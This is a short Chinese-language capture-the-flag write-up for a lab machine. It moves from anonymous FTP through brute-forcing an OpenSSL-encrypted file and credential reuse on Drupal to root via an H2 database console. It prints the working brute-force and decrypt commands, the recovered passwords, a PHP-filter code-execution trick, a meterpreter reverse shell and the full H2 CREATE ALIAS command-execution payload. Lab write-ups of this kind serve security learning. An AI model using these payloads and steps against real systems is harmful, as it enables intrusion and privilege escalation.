扫端口
ftp允许匿名登录
列文件,发现
把那个.drupal.txt.enc
下载下来,发现是一个加密的文件
网上找到个工具
bruteforce-salted-openssl
直接apt安装就行
翻翻man,选好参数
bruteforce-salted-openssl -t 10 -f /usr/share/wordlists/rockyou.txt -d sha256 drupal.raw
这里有一个坑。。。网上的神仙用神奇的方法判断加密方式。。。
大概是根据aes加密会padding成2的整数倍,利用这个特性,加密无意义的,2的整数倍的长度的文件,判断加密后的长度和.drupal.txt.enc
长度是否一样,从而判断加密方式。。。
我是瞎试的。。。
bruteforce-salted-openssl
默认的加密方式就是对的。。。
摘要方式默认是md5,瞎胡试试,发现sha256可以。。。
秒出结果
使用openssl解密
openssl enc -aes-256-cbc -d -in drupal.raw -k friends -out text.txt
得到text.txt
现在知道了用户名daniel
,密码PencilKeyboardScanner123
再看看web
瞎胡试密码
admin:admin
daniel:PencilKeyboardScanner123
admin:PencilKeyboardScanner123
使用admin:PencilKeyboardScanner123
成功登录后台
所以drupal咋日。。。
google一下
发现drupal有个插件叫php filter
。。。
这不就是个eval嘛
点Preview就运行自己写的php代码了
。。。
msf打开web_delivery
反弹得到meterpreter
翻网站配置文件,得到数据库配置
准备提权
这提个锤子。。。
suid没东西
计划任务没东西
权限很死
倒是可以读user.txt
准备提权
看端口
8082有个h2数据库控制台
而且这个h2数据库是拿root跑的。。。
google一下发现就是java版的mysql
浏览器访问一下
那就端口转发
meterpreter portfwd即可
这里有个坑。。。
meterpreter转发不稳定。。。半分钟就挂了。。。
用ssh好一些
拿已知的信息瞎胡试
用数据库配置文件找到的密码
daniel:drupal4hawk
成功登录
ssh -L转发即可
用之前找到的数据库凭据登录
exp db找找这个库的洞
发现->传送门
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL SHELLEXEC('id')
运行sql语句,得到
直接读/root/root.txt
就行
要是非得弄个shell回来,这个玄学sql没法转义。。。可以拿之前那个ssh在tmp下写反弹脚本,拿sql运行就行
另外这破盒子没nc没python
倒是有个python3